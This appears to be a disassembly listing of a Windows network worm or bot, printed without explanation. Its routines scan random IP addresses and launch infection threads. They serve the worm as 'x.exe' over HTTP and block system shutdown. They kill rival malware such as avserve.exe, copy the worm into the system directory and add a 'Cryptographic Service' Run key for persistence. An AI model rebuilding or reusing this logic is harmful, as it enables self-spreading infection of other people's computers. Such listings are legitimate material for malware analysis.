var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421190
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_70], offset aU10x ; "u10x"
		mov	[ebp+var_6C], offset aU11x ; "u11x"
		mov	[ebp+var_68], offset aU12x ; "u12x"
		mov	[ebp+var_64], offset aU13x ; "u13x"
		mov	[ebp+var_60], offset aU14x ; "u14x"
		mov	[ebp+var_5C], offset aU15x ; "u15x"
		mov	[ebp+var_58], offset aU16x ; "u16x"
		mov	[ebp+var_54], offset aU17x ; "u17x"
		mov	[ebp+var_50], offset aU18x ; "u18x"
		mov	[ebp+var_4C], offset aU8 ; "u8"
		mov	[ebp+var_48], offset aU9 ; "u9"
		mov	[ebp+var_44], offset aU10 ; "u10"
		mov	[ebp+var_40], offset aU11 ; "u11"
		mov	[ebp+var_3C], offset aU12 ; "u12"
		mov	[ebp+var_38], offset aU13 ; "u13"
		mov	[ebp+var_34], offset aU13i ; "u13i"
		mov	[ebp+var_30], offset aU14 ; "u14"
		mov	[ebp+var_2C], offset aU15 ; "u15"
		mov	[ebp+var_28], offset aU16 ; "u16"
		mov	[ebp+var_24], offset aU17 ; "u17"
		mov	[ebp+var_20], offset aU18 ; "u18"
		mov	[ebp+var_1C], offset aU19 ; "u19"
		push	offset aU19x	; "u19x"
		xor	edi, edi
		push	edi
		push	1
		push	edi
		call	dword_3142106C	; CreateEventA
		mov	dword_31424FF8,	eax
		mov	[ebp+var_4], edi
		mov	[ebp+var_74], edi


loc_3142248B:				; CODE XREF: sub_314223B2+EFj
		cmp	[ebp+var_74], 9
		jnb	short loc_314224A3
		mov	eax, [ebp+var_74]
		push	[ebp+eax*4+var_70]
		call	sub_3142204E
		pop	ecx
		inc	[ebp+var_74]
		jmp	short loc_3142248B
; ---------------------------------------------------------------------------


loc_314224A3:				; CODE XREF: sub_314223B2+DDj
		mov	[ebp+var_74], edi


loc_314224A6:				; CODE XREF: sub_314223B2+10Aj
		cmp	[ebp+var_74], 0Dh
		jnb	short loc_314224BE
		mov	eax, [ebp+var_74]
		push	[ebp+eax*4+var_4C]
		call	sub_31421F29
		pop	ecx
		inc	[ebp+var_74]
		jmp	short loc_314224A6
; ---------------------------------------------------------------------------


loc_314224BE:				; CODE XREF: sub_314223B2+F8j
		cmp	[ebp+arg_0], edi
		jz	short loc_314224FC
		push	offset aWs2_32	; "ws2_32"
		mov	esi, dword_314210A8
		call	esi	; LoadLibraryA
		push	offset aWininet	; "wininet"
		call	esi	; LoadLibraryA
		push	offset aMsvcrt	; "msvcrt"
		call	esi	; LoadLibraryA
		push	offset aAdvapi32 ; "advapi32"
		call	esi	; LoadLibraryA
		push	offset aUser32	; "user32"
		call	esi	; LoadLibraryA
		push	offset aUterm19	; "uterm19"
		call	sub_31421F29
		pop	ecx
		mov	dword_31424FF4,	eax


loc_314224FC:				; CODE XREF: sub_314223B2+10Fj
		call	sub_31422308
		push	edi
		push	offset sub_314221C4
		call	sub_31421F38
		push	edi
		push	offset sub_314216A2
		call	sub_31421F38
		push	edi
		push	offset loc_3142276E
		call	sub_31421F38
		add	esp, 18h


loc_31422525:				; CODE XREF: sub_314223B2+18Ej
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_31422542
		push	edi
		call	dword_31421018	; AbortSystemShutdownA
		push	1388h
		call	dword_31421094	; Sleep
		jmp	short loc_31422525
; ---------------------------------------------------------------------------


loc_31422542:				; CODE XREF: sub_314223B2+17Aj
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_2
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_314223B2	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142255F	proc near		; DATA XREF: sub_314225C3+55o
					; sub_3142264B+6Ao ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_3142256E
		push	1
		pop	eax
		jmp	short locret_314225BF
; ---------------------------------------------------------------------------


loc_3142256E:				; CODE XREF: sub_3142255F+8j
		mov	al, byte ptr [ebp+arg_0+3]
		push	ebx
		push	esi
		mov	[ebp+var_1], al
		xor	bl, bl


loc_31422578:				; CODE XREF: sub_3142255F+5Aj
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_314225BB
		call	sub_31422038
		test	eax, eax
		jz	short loc_314225BB
		cmp	[ebp+var_1], bl
		jz	short loc_314225B4
		mov	byte ptr [ebp+arg_0+3],	bl
		push	[ebp+arg_0]
		call	sub_31421801
		movzx	esi, word_3142500C
		pop	ecx
		call	dword_314210FC	; rand
		cdq
		idiv	esi
		add	edx, esi
		push	edx
		call	dword_31421094	; Sleep


loc_314225B4:				; CODE XREF: sub_3142255F+2Ej
		inc	bl
		cmp	bl, 0FFh
		jb	short loc_31422578


loc_314225BB:				; CODE XREF: sub_3142255F+20j
					; sub_3142255F+29j
		pop	esi
		xor	eax, eax
		pop	ebx

locret_314225BF:			; CODE XREF: sub_3142255F+Dj
		leave
		retn	4
sub_3142255F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314225C3	proc near		; DATA XREF: sub_3142264B+7Eo
					; UPX0:31422803o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_314225D1
		push	1
		pop	eax
		jmp	short loc_31422647
; ---------------------------------------------------------------------------


loc_314225D1:				; CODE XREF: sub_314225C3+7j
		push	ebx
		push	esi
		push	edi
		call	sub_31421EFB
		mov	esi, dword_314210FC
		xor	ebx, ebx


loc_314225E1:				; CODE XREF: sub_314225C3+7Dj
		call	sub_3142239E
		test	eax, eax
		jnz	short loc_31422642
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422642
		call	esi	; rand
		mov	byte ptr [ebp+arg_0+2],	al
		call	esi	; rand
		push	offset dword_31425004
		mov	byte ptr [ebp+arg_0+3],	al
		call	dword_314210D4	; InterlockedIncrement
		push	[ebp+arg_0]
		call	sub_31421801
		test	eax, eax
		pop	ecx
		jnz	short loc_31422624
		push	[ebp+arg_0]
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		pop	ecx


loc_31422624:				; CODE XREF: sub_314225C3+50j
		movzx	edi, word_3142500C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	dword_31421094	; Sleep
		inc	ebx
		cmp	ebx, 8000h
		jl	short loc_314225E1


loc_31422642:				; CODE XREF: sub_314225C3+25j
					; sub_314225C3+2Ej
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx


loc_31422647:				; CODE XREF: sub_314225C3+Cj
		pop	ebp
		retn	4
sub_314225C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142264B	proc near		; DATA XREF: UPX0:3142281Bo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_31421EFB
		call	sub_3142239E
		test	eax, eax
		jnz	loc_31422704
		push	ebx
		mov	ebx, dword_31421094
		push	esi
		mov	esi, dword_314210FC
		push	edi


loc_31422671:				; CODE XREF: sub_3142264B+48j
					; sub_3142264B+B0j
		call	esi	; rand
		mov	byte ptr [ebp+var_4+1],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+3],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+2],	al


loc_31422680:				; CODE XREF: sub_3142264B+3Cj
		call	esi	; rand
		cmp	al, 7Fh
		mov	byte ptr [ebp+var_4], al
		jz	short loc_31422680
		call	sub_31421FF9
		mov	edi, [ebp+var_4]
		cmp	edi, eax
		jz	short loc_31422671
		call	sub_31422038
		test	eax, eax
		jz	short loc_314226DC
		push	offset dword_31425004
		call	dword_314210D4	; InterlockedIncrement
		push	edi
		call	sub_31421801
		test	eax, eax
		pop	ecx
		jnz	short loc_314226E3
		push	edi
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		mov	[ebp+var_8], 4
		pop	ecx


loc_314226C8:				; CODE XREF: sub_3142264B+8Dj
		push	edi
		push	offset sub_314225C3
		call	sub_31421F52
		dec	[ebp+var_8]
		pop	ecx
		pop	ecx
		jnz	short loc_314226C8
		jmp	short loc_314226E3
; ---------------------------------------------------------------------------


loc_314226DC:				; CODE XREF: sub_3142264B+51j
		push	2710h
		call	ebx	; Sleep


loc_314226E3:				; CODE XREF: sub_3142264B+67j
					; sub_3142264B+8Fj
		movzx	edi, word_3142500C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	ebx	; Sleep
		call	sub_3142239E
		test	eax, eax
		jz	loc_31422671
		pop	edi
		pop	esi
		pop	ebx


loc_31422704:				; CODE XREF: sub_3142264B+11j
		push	0
		call	dword_314210D0	; ExitThread
		xor	eax, eax
		leave
		retn	4
sub_3142264B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422712	proc near		; CODE XREF: UPX0:314227E0p
					; UPX0:loc_31422846p

var_50		= byte ptr -50h
var_28		= byte ptr -28h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	esi
		call	sub_31421FF9
		push	eax
		call	dword_3142115C	; inet_ntoa
		mov	esi, dword_31421068
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	esi	; lstrcpyA
		push	dword_31424FFC
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_50]
		push	offset aHttpSDX_exe ; "http://%s:%d/x.exe"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_50]
		push	eax
		push	offset word_314242BA
		call	esi	; lstrcpyA
		push	offset byte_314242B8
		call	dword_31421084	; lstrlenA
		mov	byte_314242B8[eax], 0DFh
		pop	esi
		leave
		retn
sub_31422712	endp

; ---------------------------------------------------------------------------


loc_3142276E:				; DATA XREF: sub_314223B2+166o
		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		mov	dword_31425004,	ebx
		call	sub_31422038
		mov	esi, dword_31421094
		mov	edi, 1388h
		test	eax, eax
		jnz	short loc_3142279C


loc_31422790:				; CODE XREF: UPX0:3142279Aj
		push	edi
		call	esi	; Sleep
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422790


loc_3142279C:				; CODE XREF: UPX0:3142278Ej
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	dword_31421130	; InternetGetConnectedState
		test	byte ptr [esp+14h], 2
		push	50h
		mov	dword_31425008,	ebx
		pop	ebp
		mov	word_3142500C, 96h
		jz	short loc_314227D9
		mov	dword_31425008,	1
		mov	ebp, 15Eh
		mov	word_3142500C, 14h


loc_314227D9:				; CODE XREF: UPX0:314227BFj
		call	sub_31421FF9
		mov	ebx, eax
		call	sub_31422712
		cmp	ebx, 100007Fh
		jz	short loc_314227FA
		push	ebx
		push	offset sub_3142255F
		call	sub_31421F52
		pop	ecx
		pop	ecx


loc_314227FA:				; CODE XREF: UPX0:314227EBj
		mov	dword ptr [esp+10h], 4


loc_31422802:				; CODE XREF: UPX0:31422813j
		push	ebx
		push	offset sub_314225C3
		call	sub_31421F52
		dec	dword ptr [esp+18h]
		pop	ecx
		pop	ecx
		jnz	short loc_31422802
		test	ebp, ebp
		jle	short loc_3142282A


loc_31422819:				; CODE XREF: UPX0:31422828j
		push	0
		push	offset sub_3142264B
		call	sub_31421F52
		pop	ecx
		dec	ebp
		pop	ecx
		jnz	short loc_31422819


loc_3142282A:				; CODE XREF: UPX0:31422817j
					; UPX0:31422836j ...
		call	sub_31422038
		test	eax, eax
		jz	short loc_31422838
		push	edi
		call	esi	; Sleep
		jmp	short loc_3142282A
; ---------------------------------------------------------------------------


loc_31422838:				; CODE XREF: UPX0:31422831j
					; UPX0:31422844j
		call	sub_31422038
		test	eax, eax
		jnz	short loc_31422846
		push	edi
		call	esi	; Sleep
		jmp	short loc_31422838
; ---------------------------------------------------------------------------


loc_31422846:				; CODE XREF: UPX0:3142283Fj
		call	sub_31422712
		jmp	short loc_3142282A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142284D	proc near		; CODE XREF: sub_314229E6+93p
					; sub_31422B67+11Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3142100C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_31422880
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31421010	; RegDeleteValueA
		push	[ebp+arg_4]
		call	dword_31421014	; RegCloseKey


loc_31422880:				; CODE XREF: sub_3142284D+1Cj
		pop	ebp
		retn
sub_3142284D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422882	proc near		; CODE XREF: sub_314221C4+33p
					; sub_314229E6+84p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_10]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		xor	esi, esi
		push	0F003Fh
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3142100C	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_314228AE
		push	1
		pop	eax
		jmp	short loc_314228D8
; ---------------------------------------------------------------------------


loc_314228AE:				; CODE XREF: sub_31422882+25j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		call	dword_31421008	; RegQueryValueExA
		test	eax, eax
		jz	short loc_314228CD
		push	2
		pop	esi


loc_314228CD:				; CODE XREF: sub_31422882+46j
		push	[ebp+arg_10]
		call	dword_31421014	; RegCloseKey
		mov	eax, esi


loc_314228D8:				; CODE XREF: sub_31422882+2Aj
		pop	esi
		leave
		retn
sub_31422882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314228DB	proc near		; CODE XREF: sub_31422A9B+96p
					; sub_31422B67+7Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		lea	eax, [ebp+arg_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421000	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_31422904
		push	1
		pop	eax
		jmp	short loc_3142292B
; ---------------------------------------------------------------------------


loc_31422904:				; CODE XREF: sub_314228DB+22j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31421004	; RegSetValueExA
		test	eax, eax
		jz	short loc_31422920
		push	2
		pop	esi


loc_31422920:				; CODE XREF: sub_314228DB+40j
		push	[ebp+arg_4]
		call	dword_31421014	; RegCloseKey
		mov	eax, esi


loc_3142292B:				; CODE XREF: sub_314228DB+27j
		pop	esi
		pop	ebp
		retn
sub_314228DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142292E	proc near		; CODE XREF: sub_314229E6+9Fp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		call	dword_31421084	; lstrlenA
		mov	esi, eax
		dec	esi
		test	esi, esi
		jle	loc_314229E2


loc_3142294E:				; CODE XREF: sub_3142292E+27j
		cmp	byte ptr [esi+ebx], 5Ch
		jz	short loc_31422957
		dec	esi
		jns	short loc_3142294E


loc_31422957:				; CODE XREF: sub_3142292E+24j
		push	0
		push	2
		call	sub_31422D2C	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_314229E2
		push	128h
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		call	sub_31422CD6	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_128]
		mov	[ebp+var_128], 128h
		push	eax
		push	[ebp+arg_0]
		call	sub_31422D26	; Process32First
		test	eax, eax
		jz	short loc_314229E2
		lea	esi, [esi+ebx+1]


loc_3142299F:				; CODE XREF: sub_3142292E+B2j
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		call	dword_31421104	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_314229CF
		push	[ebp+var_120]
		push	0
		push	1F0FFFh
		call	dword_314210B0	; OpenProcess
		push	0
		push	eax
		call	dword_31421060	; TerminateProcess


loc_314229CF:				; CODE XREF: sub_3142292E+83j
		lea	eax, [ebp+var_128]
		push	eax
		push	[ebp+arg_0]
		call	sub_31422D20	; Process32Next
		test	eax, eax
		jnz	short loc_3142299F


loc_314229E2:				; CODE XREF: sub_3142292E+1Aj
					; sub_3142292E+38j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_3142292E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314229E6	proc near		; CODE XREF: UPX0:3142237Bp

var_13C		= byte ptr -13Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_34]
		push	edi
		mov	[ebp+var_34], offset aWindowsSecurit ; "Windows	Security Manager"
		mov	[ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter"
		mov	[ebp+var_2C], offset aSystemRestoreS ; "System Restore Service"
		mov	[ebp+var_28], offset aBotLoader	; "Bot Loader"
		mov	[ebp+var_24], offset aSystray ;	"SysTray"
		mov	[ebp+var_20], offset aWinupdate	; "WinUpdate"
		mov	[ebp+var_1C], offset aWindowsUpdateS ; "Windows	Update Service"
		mov	[ebp+var_18], offset aAvserve_exe ; "avserve.exe"
		mov	[ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service"
		mov	[ebp+var_10], offset aMsConfigV13 ; "MS	Config v13"
		mov	[ebp+var_C], offset aWindowsUpdate ; "Windows Update"
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0Bh
		mov	edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	esi, 80000002h


loc_31422A56:				; CODE XREF: sub_314229E6+AEj
		mov	eax, [ebp+var_4]
		push	104h
		mov	ebx, [eax]
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	short loc_31422A8D
		push	ebx
		push	edi
		push	esi
		call	sub_3142284D
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_3142292E
		add	esp, 10h


loc_31422A8D:				; CODE XREF: sub_314229E6+8Ej
		add	[ebp+var_4], 4
		dec	[ebp+var_8]
		jnz	short loc_31422A56
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314229E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422A9B	proc near		; CODE XREF: sub_31422B67+D1p
					; sub_31422B67+132p

var_78		= byte ptr -78h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		cmp	[ebp+arg_0], 0
		jz	short loc_31422AB0
		push	[ebp+arg_0]
		call	dword_31421074	; DeleteFileA


loc_31422AB0:				; CODE XREF: sub_31422A9B+Aj
		lea	eax, [ebp+var_78]
		push	63h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		test	eax, eax
		jz	locret_31422B65
		push	esi
		call	dword_314210FC	; rand
		and	eax, 3
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_31421F73
		mov	esi, dword_31421088
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_14]
		push	offset dword_314241F0
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_78]
		push	offset dword_314241F8
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_31421050	; CopyFileA
		lea	eax, [ebp+var_78]
		push	eax
		call	dword_31421084	; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_314228DB
		add	esp, 14h
		push	dword_31424FF4
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	dword_31421054	; WinExec
		push	1F4h
		call	dword_31421094	; Sleep
		push	0
		call	dword_314210E0	; ExitProcess
		pop	esi

locret_31422B65:			; CODE XREF: sub_31422A9B+23j
		leave
		retn
sub_31422A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31422B67	proc near		; CODE XREF: UPX0:31422380p

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_84]
		push	63h
		push	eax
		push	0
		call	dword_31421048	; GetModuleFileNameA
		test	eax, eax
		jz	loc_31422CA0
		and	dword_31425010,	0
		lea	eax, [ebp+var_20]
		push	1Dh
		push	eax
		mov	edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless"
		push	offset aId	; "ID"
		mov	esi, 80000002h
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jz	short loc_31422BED
		call	dword_314210FC	; rand
		push	0Ah
		mov	ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert"
		cdq
		pop	ecx
		idiv	ecx
		add	edx, ecx
		push	edx
		push	ebx
		call	sub_31421F73
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_31421084	; lstrlenA
		inc	eax
		push	eax
		push	ebx
		push	offset aId	; "ID"
		push	edi
		push	esi
		call	sub_314228DB
		add	esp, 14h
		jmp	short loc_31422BFC
; ---------------------------------------------------------------------------


loc_31422BED:				; CODE XREF: sub_31422B67+4Dj
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aFgnsdrjyrsert ;	"fgnsdrjyrsert"
		call	dword_31421068	; lstrcpyA


loc_31422BFC:				; CODE XREF: sub_31422B67+84j
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	offset aCryptographicS ; "Cryptographic	Service"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jz	short loc_31422C42
		push	2
		push	offset a1	; "1"
		push	offset aClient	; "Client"
		push	edi
		push	esi
		call	sub_314228DB
		lea	eax, [ebp+var_84]
		push	eax
		push	0
		call	sub_31422A9B
		add	esp, 1Ch
		jmp	short loc_31422CA0
; ---------------------------------------------------------------------------


loc_31422C42:				; CODE XREF: sub_31422B67+B3j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	dword_3142104C	; lstrcmpiA
		test	eax, eax
		jnz	short loc_31422C8B
		lea	eax, [ebp+var_20]
		push	1Dh
		mov	ebx, offset aClient ; "Client"
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_31422882
		add	esp, 14h
		test	eax, eax
		jnz	short loc_31422CA0
		push	ebx
		push	edi
		push	esi
		mov	dword_31425010,	1
		call	sub_3142284D
		add	esp, 0Ch
		jmp	short loc_31422CA0
; ---------------------------------------------------------------------------


loc_31422C8B:				; CODE XREF: sub_31422B67+F1j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_31422A9B
		pop	ecx
		pop	ecx


loc_31422CA0:				; CODE XREF: sub_31422B67+1Fj
					; sub_31422B67+D9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31422B67	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422CA5	proc near		; CODE XREF: sub_314211A0+CAp
					; sub_314215C7+11p ...

arg_0		= dword	ptr  4

		push	4
		push	1000h
		push	[esp+8+arg_0]
		push	0
		call	dword_31421044	; VirtualAlloc
		retn
sub_31422CA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_31422CB9	proc near		; CODE XREF: sub_314211A0+10Bp
					; sub_314215C7+C0p

arg_0		= dword	ptr  4

		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	dword_31421040	; VirtualFree
		retn
sub_31422CB9	endp

; ---------------------------------------------------------------------------
		align 10h


loc_31422CD0:				; DATA XREF: sub_31421422+Ao
					; sub_314223B2+Ao
		jmp	dword ptr loc_31421100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CD6	proc near		; CODE XREF: sub_31421801+128p
					; sub_31421801+134p ...
		jmp	dword_314210F8
sub_31422CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CDC	proc near		; CODE XREF: sub_31421801+9Cp
					; sub_31421801+C5p ...
		jmp	dword_314210F4
sub_31422CDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422CE2	proc near		; CODE XREF: sub_31421801+93p
					; sub_31421801+B2p ...
		jmp	dword_314210F0
sub_31422CE2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_31422CF0	proc near		; CODE XREF: sub_31421801+8p

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_31422D10


loc_31422CFC:				; CODE XREF: sub_31422CF0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_31422CFC


loc_31422D10:				; CODE XREF: sub_31422CF0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_31422CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D20	proc near		; CODE XREF: sub_3142292E+ABp
		jmp	dword_31421064
sub_31422D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D26	proc near		; CODE XREF: sub_3142292E+64p
		jmp	dword_3142105C
sub_31422D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31422D2C	proc near		; CODE XREF: sub_3142292E+2Dp
		jmp	dword_31421058
sub_31422D2C	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
		dd 4B3h	dup(0)
dword_31424000	dd 206h, 2400h,	31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h
					; DATA XREF: sub_31421422+112o
		dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh
		dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h
		dd 3072657Ah, 0
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_314215C7+84o
		align 10h
byte_31424080	db 0			; DATA XREF: sub_314216A2+1Br
off_31424081	dd offset dword_314241E4 ; DATA	XREF: sub_314216A2+23r
		align 2
		dd offset dword_314241D4
		dw 0C401h
		dd 1314241h, 314241B4h,	4241A000h, 41900131h, 80013142h
		dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h
		dd 1314241h, 3142413Ch,	42417400h, 41D40131h, 30003142h
		dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h
		dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h
		dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h
